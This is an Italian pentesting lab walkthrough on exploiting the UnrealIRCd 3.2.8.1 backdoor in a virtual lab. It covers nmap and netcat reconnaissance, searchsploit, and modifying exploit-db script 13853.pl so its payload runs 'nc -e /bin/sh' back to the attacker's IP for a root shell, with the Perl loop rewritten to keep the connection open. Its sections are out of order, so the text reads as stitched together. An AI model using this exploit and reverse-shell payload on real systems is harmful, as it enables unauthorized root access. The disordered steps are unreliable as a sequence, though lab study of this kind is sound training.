E non mi da nessuna lista di utenti.

Per capire meglio qual è il problema con il nostro exploit faremo qualche analisi del traffico dati scambiato tra le due VM.
Lanciamo wireshark e impostiamo il seguente filtro nella barra in alto:

ip.dst==210.100.1.1 || ip.dst==212.100.1.2

e lanciamo nuovamente il comando come abbiamo fatto prima

#perl ./unrealIRC_tool.pl www.labpentest.hj 6667 1

Analizzando bene il traffico (concentratevi sui pacchetti tcp anche con un ulteriore filtro se serve) si evince come il tool chiuda la connessione tramite un pacchetto TCP con flag RST.
Dunque è il tool che non aspetta la risposta della macchina vittima e di conseguenza la sua shell.
Modifichiamo nuovamente il tool sulla riga che controlla l'esecuzione dell'opzione 1 dello script con le seguenti righe:

if($type eq "1")
{
    print $sockd "$payload1";
    until (1 eq 0)
    {
        print $sockd "PING hj\n";
        $carattere='';
        until ($carattere eq "\n")
        {
            sysread($sockd, $carattere, 1);
            print $carattere;
         }
    }
}

Salviamo e lanciamo nuovamente il tool sempre dopo aver avviato nc in ascolto sulla porta 3333 dalla quale verificheremo se l'exploit ha funzionato.
Proprio da qui lanciando il comando whoami vedremo che avremo ottenuto i privilegi di root.

Iniziamo preparando una directory dedicata e copiamo al suo interno l'exploit per poterlo modificare lasciando intatto l'originale.

#mkdir unrealircd
#cd unrealircd
#cp /usr/share/exploitdb/exploits/linux/remote/13853.pl ./unrealIRC_tool.pl

Passiamo ora ad analizzare l'exploit con un editor a piacere e scopriremo che questo fa affidamento a programmi presenti nel web.
Poiché lavoriamo in un laboratorio virtuale non connesso a internet sono necessarie diverse modifiche.
La modifica che apporteremo ha come obbiettivo di far lanciare il seguente comando da remoto:

#nc -e /bin/sh 210.100.1.1 -p 3333

che consentirebbe di farci inviare una shell sulla macchina virtuale "Pentester".
Pertanto all'inizializzazione della variabile $payload1 cancelliamo il comando wget e i suoi argomenti e lo sostituiamo con il comando precedente.
Tale riga dovrà avere questo aspetto:

my $payload1='AB; nc -e /bin/sh 210.100.1.1 -p 3333';

salviamo il file e avviamo una seconda shell con netcat in ascolto sulla porta 3333.

#nc -l -p 3333

e avviamo il tool

#perl ./unrealIRC_tool.pl www.labpentest.hj 6667 1

Tuttavia qualcosa non va: il tool termina l'esecuzione quasi immediatamente..

Per interagire con il servizio IRC dobbiamo consultare il documento RFC 1459, dal quale impariamo per cominciare i comandi base per iniziare a inviare messaggi e dunque nella shell dove è in esecuzione nc cominciamo con:

PASS password
NICK HackerJournal
USER hj 0 * :hj

Ed è in questo momento che riceviamo l'informazione di interesse: il numero di versione 3.2.8.1

14.3 SEARCHSPLOIT.

Ora che conosciamo la versione di UnrealIRCd possiamo fare ricerche su eventuali exploit preesistenti che sfruttino vulnerabilità note: è il momento di searchsploit!

#searchsploit UnrealIRCd 3.2.8.1

questo comando ci permette di interrogare un vero e proprio database contenente informazioni sulle versioni vulnerabili di moltissimi programmi e relativi exploit che le sfruttano, già presenti nella nostra Kali Linux.

Dall'output la rivista ci consiglia di utilizzare il terzo exploit in quanto i primi due sono rispettivamente un modulo del famosissimo metasploit e l'altro serve per attaccare sistemi windows.

Sotto la voce "Path" possiamo vedere il percorso dove è situato l'exsploit che ci interessa.

Salve a tutti e ben trovati, in questa guida la rivista ci insegnerà a violare il servizio IRC in esecuzione sulla macchina target.
Questo protocollo tcp viene usato per consentire lo scambio di messaggi testuali tra due o più utenti.

14.1 UNREALIRCD.

Grazie al comando nmap possiamo vedere come il servizio IRC sia attivo sulla macchina virtuale "Web Server":

#nmap -sS -sV www.labpentest.hj -p 6667
                                         ^
                                          |
          (oppure) 212.100.1.2

che tuttavia darà un output un po' tirchio di informazioni e allora indaghiamo più a fondo con netcat:

#nc www.labpentest.hj -p 6667
                                               ^

Dopo il lancio di nc aspettiamo che il server ci risponda e riceviamo due messaggi in cui il servizio ci informa che sta cercando di risolvere il nostro hostname ("looking up your hostname") e dopo non esserci riuscito che userà il nostro ip ("Couldn't resolve your hostname; using your IP istead.").
Infine UnrealIRCd resta in attesa di input dell'utente, chiarendo perché nmap non forniva informazioni sulla versione del servizio ovvero perché nmap usa una tecnica chiamata banner grabbing, ovvero "legge" i banner che vari servizi di rete mandano in output dopo aver stabilito la connessione, per poi risciverli nel suo output.

L'idea di usare pc diversi non è impossibile ma continuo a credere che quando si impara l'uso di strumenti di cybersecurity sia meglio operare in un solo ambiente virtuale (e quindi non viene creato un vero traffico dati in una rete vera, necessaria se usi due o più computer distinti, in più le macchine virtuali sono più facili da gestire a mio avviso).

Comunque pensare in modo diverso dai manuali e/o dalle guide è di per se una bella cosa ;)

happy hacking!